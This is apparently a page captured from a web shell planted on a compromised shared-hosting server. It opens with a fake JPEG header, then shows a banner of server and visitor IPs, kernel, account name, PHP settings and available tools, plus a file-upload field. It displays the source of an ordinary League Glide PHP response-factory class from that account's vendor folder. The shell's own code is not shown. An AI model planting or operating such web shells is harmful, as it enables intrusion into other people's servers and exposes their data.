����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.224.44.53 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirm.gltechlimited.com/vendor/league/glide/src/Responses/ |
Upload File : |
<?php namespace League\Glide\Responses; use Closure; use League\Flysystem\FilesystemOperator; use Psr\Http\Message\ResponseInterface; class PsrResponseFactory implements ResponseFactoryInterface { /** * Base response object. * * @var ResponseInterface */ protected $response; /** * Callback to create stream. * * @var Closure */ protected $streamCallback; /** * Create PsrResponseFactory instance. * * @param ResponseInterface $response Base response object. * @param Closure $streamCallback Callback to create stream. */ public function __construct(ResponseInterface $response, Closure $streamCallback) { $this->response = $response; $this->streamCallback = $streamCallback; } /** * Create response. * * @param FilesystemOperator $cache Cache file system. * @param string $path Cached file path. * * @return ResponseInterface Response object. */ public function create(FilesystemOperator $cache, $path) { $stream = $this->streamCallback->__invoke( $cache->readStream($path) ); $contentType = $cache->mimeType($path); $contentLength = (string) $cache->fileSize($path); $cacheControl = 'max-age=31536000, public'; $expires = date_create('+1 years')->format('D, d M Y H:i:s').' GMT'; return $this->response->withBody($stream) ->withHeader('Content-Type', $contentType) ->withHeader('Content-Length', $contentLength) ->withHeader('Cache-Control', $cacheControl) ->withHeader('Expires', $expires); } }